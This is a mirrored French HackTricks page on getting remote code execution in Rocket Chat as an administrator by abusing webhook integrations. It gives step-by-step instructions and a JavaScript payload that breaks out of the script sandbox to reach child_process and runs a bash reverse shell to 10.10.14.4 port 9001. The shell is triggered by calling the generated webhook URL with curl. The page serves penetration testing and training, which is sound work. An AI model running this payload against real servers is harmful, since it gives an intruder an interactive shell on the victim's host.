mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-20 18:14:15 +00:00
29 lines
1.5 KiB
Markdown
29 lines
1.5 KiB
Markdown
## RCE
|
|
|
|
Si vous êtes administrateur dans Rocket Chat, vous pouvez obtenir une RCE.
|
|
|
|
* Allez dans **`Intégrations`** et sélectionnez **`Nouvelle intégration`** et choisissez n'importe laquelle : **`Incoming WebHook`** ou **`Outgoing WebHook`**.
|
|
* `/admin/integrations/incoming`
|
|
|
|
<figure><img src="../../.gitbook/assets/image (4) (2).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
* Selon la [documentation](https://docs.rocket.chat/guides/administration/admin-panel/integrations), les deux utilisent ES2015 / ECMAScript 6 ([essentiellement JavaScript](https://codeburst.io/javascript-wtf-is-es6-es8-es-2017-ecmascript-dca859e4821c)) pour traiter les données. Alors, obtenons un [shell inversé pour javascript](../../generic-methodologies-and-resources/shells/linux.md#nodejs) comme suit :
|
|
```javascript
|
|
const require = console.log.constructor('return process.mainModule.require')();
|
|
const { exec } = require('child_process');
|
|
exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")
|
|
```
|
|
* Configurez le WebHook (le canal et le nom d'utilisateur du message doivent exister) :
|
|
|
|
<figure><img src="../../.gitbook/assets/image (1) (8).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
* Configurez le script WebHook :
|
|
|
|
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (2).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
* Enregistrez les modifications
|
|
* Obtenez l'URL WebHook générée :
|
|
|
|
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
* Appelez-le avec curl et vous devriez recevoir le shell inversé
|